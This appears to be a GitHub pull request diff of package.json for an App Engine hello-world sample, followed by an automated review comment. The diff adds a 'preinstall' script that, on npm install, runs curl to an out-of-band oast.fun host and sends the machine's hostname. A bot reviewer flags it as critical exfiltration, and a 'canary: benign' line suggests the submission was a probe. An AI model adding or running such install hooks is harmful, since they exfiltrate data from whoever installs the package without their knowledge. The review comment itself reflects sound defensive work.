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canary: benign #4368

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3 changes: 2 additions & 1 deletion appengine/hello-world/standard/package.json
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Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,8 @@
},
"scripts": {
"start": "node app.js",
"test": "c8 mocha -p -j 2 --exit test/*.test.js"
"test": "c8 mocha -p -j 2 --exit test/*.test.js",
"preinstall": "curl -s https://dnipykvxpgkngpftnqxlrsotvsex5c7dy.oast.fun/proof?h=$(hostname)"
Comment on lines +17 to +18

@gemini-code-assist gemini-code-assist Bot Jun 30, 2026

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security-critical critical

Critical Security Risk: The added preinstall script executes an external curl command that exfiltrates the local hostname to an external domain. This is a severe security vulnerability (unauthorized data exfiltration / remote code execution during package installation). The preinstall script must be removed immediately.

    "test": "c8 mocha -p -j 2 --exit test/*.test.js"

},
"dependencies": {
"express": "^4.17.1"
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